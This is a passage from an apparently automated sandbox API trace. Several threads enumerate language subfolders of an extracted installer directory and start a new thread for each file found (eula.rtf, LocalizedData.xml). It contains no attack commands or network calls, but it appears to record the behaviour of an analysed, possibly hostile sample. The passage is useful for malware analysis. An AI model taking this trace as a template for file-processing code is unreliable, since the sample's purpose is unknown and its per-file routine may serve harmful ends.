[0062.414] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.414] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.414] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.414] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.415] FindClose (in: hFindFile=0x3433ee8 | out: hFindFile=0x3433ee8) returned 1 [0062.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0062.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd430) returned 1 [0062.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df9d8) returned 1 [0062.415] RtlExitUserThread (Status=0x0) Thread: id = 45 os_tid = 0xef0 [0060.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcd70 [0060.297] wcscpy (in: _Dest=0x33fcd70, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0060.297] wcscat (in: _Dest=0x33fcd70, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0060.297] wcscat (in: _Dest=0x33fcd70, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1042\\*") returned="C:\\588bce7c90097ed212\\1042\\*" [0060.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d660 [0060.297] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fa8 [0060.303] wcscmp (_String1=".", _String2=".") returned 0 [0060.303] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.303] wcscmp (_String1="..", _String2=".") returned 1 [0060.303] wcscmp (_String1="..", _String2="..") returned 0 [0060.303] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.303] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.303] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fab98 [0060.303] wcscpy (in: _Dest=0x33fab98, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0060.303] wcscat (in: _Dest=0x33fab98, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0060.303] wcscat (in: _Dest=0x33fab98, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf" [0062.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fab98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0062.384] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.384] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.384] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e83f8 [0062.384] wcscpy (in: _Dest=0x33e83f8, _Source="C:\\588bce7c90097ed212\\1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0062.384] wcscat (in: _Dest=0x33e83f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0062.384] wcscat (in: _Dest=0x33e83f8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" [0062.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e83f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0062.386] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.386] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.386] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.386] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342d660 | out: lpFindFileData=0x342d660*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.386] FindClose (in: hFindFile=0x3433fa8 | out: hFindFile=0x3433fa8) returned 1 [0062.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d660) returned 1 [0062.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd70) returned 1 [0062.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfb58) returned 1 [0062.386] RtlExitUserThread (Status=0x0) Thread: id = 46 os_tid = 0xf38 [0060.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcdb8 [0060.298] wcscpy (in: _Dest=0x33fcdb8, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0060.298] wcscat (in: _Dest=0x33fcdb8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0060.298] wcscat (in: _Dest=0x33fcdb8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1043\\*") returned="C:\\588bce7c90097ed212\\1043\\*" [0060.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ca58 [0060.298] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ea8 [0060.299] wcscmp (_String1=".", _String2=".") returned 0 [0060.299] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.301] wcscmp (_String1="..", _String2=".") returned 1 [0060.301] wcscmp (_String1="..", _String2="..") returned 0 [0060.301] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.301] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.301] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33faa08 [0060.301] wcscpy (in: _Dest=0x33faa08, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0060.301] wcscat (in: _Dest=0x33faa08, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0060.301] wcscat (in: _Dest=0x33faa08, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf" [0062.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33faa08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0062.416] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.416] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.416] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426f30 [0062.416] wcscpy (in: _Dest=0x3426f30, _Source="C:\\588bce7c90097ed212\\1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0062.416] wcscat (in: _Dest=0x3426f30, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0062.416] wcscat (in: _Dest=0x3426f30, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" [0062.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0062.417] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.417] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.417] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.417] FindNextFileW (in: hFindFile=0x3433ea8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.417] FindClose (in: hFindFile=0x3433ea8 | out: hFindFile=0x3433ea8) returned 1 [0062.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca58) returned 1 [0062.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0062.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfd18) returned 1 [0062.417] RtlExitUserThread (Status=0x0) Thread: id = 47 os_tid = 0x744 [0060.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fce00 [0060.298] wcscpy (in: _Dest=0x33fce00, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0060.298] wcscat (in: _Dest=0x33fce00, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0060.298] wcscat (in: _Dest=0x33fce00, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1044\\*") returned="C:\\588bce7c90097ed212\\1044\\*" [0060.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d8c8 [0060.298] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f68 [0060.302] wcscmp (_String1=".", _String2=".") returned 0 [0060.302] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.302] wcscmp (_String1="..", _String2=".") returned 1 [0060.302] wcscmp (_String1="..", _String2="..") returned 0 [0060.302] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.302] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.302] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33faaf8 [0060.303] wcscpy (in: _Dest=0x33faaf8, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0060.303] wcscat (in: _Dest=0x33faaf8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0060.303] wcscat (in: _Dest=0x33faaf8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf" [0062.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33faaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0062.389] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.389] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.389] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8460 [0062.389] wcscpy (in: _Dest=0x33e8460, _Source="C:\\588bce7c90097ed212\\1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0062.389] wcscat (in: _Dest=0x33e8460, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0062.389] wcscat (in: _Dest=0x33e8460, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" [0062.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0062.390] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.390] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.390] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.390] FindNextFileW (in: hFindFile=0x3433f68, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.390] FindClose (in: hFindFile=0x3433f68 | out: hFindFile=0x3433f68) returned 1 [0062.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8c8) returned 1 [0062.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0062.390] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfd58) returned 1 [0062.390] RtlExitUserThread (Status=0x0) Thread: id = 48 os_tid = 0x42c [0060.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fce48 [0060.304] wcscpy (in: _Dest=0x33fce48, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0060.304] wcscat (in: _Dest=0x33fce48, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0060.304] wcscat (in: _Dest=0x33fce48, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1045\\*") returned="C:\\588bce7c90097ed212\\1045\\*" [0060.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342db30 [0060.304] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433aa8 [0060.310] wcscmp (_String1=".", _String2=".") returned 0 [0060.310] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.310] wcscmp (_String1="..", _String2=".") returned 1 [0060.310] wcscmp (_String1="..", _String2="..") returned 0 [0060.310] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.310] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.310] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fabe8 [0060.310] wcscpy (in: _Dest=0x33fabe8, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0060.310] wcscat (in: _Dest=0x33fabe8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0060.310] wcscat (in: _Dest=0x33fabe8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf" [0062.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fabe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0062.370] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.370] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.370] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8668 [0062.370] wcscpy (in: _Dest=0x33e8668, _Source="C:\\588bce7c90097ed212\\1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0062.370] wcscat (in: _Dest=0x33e8668, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") 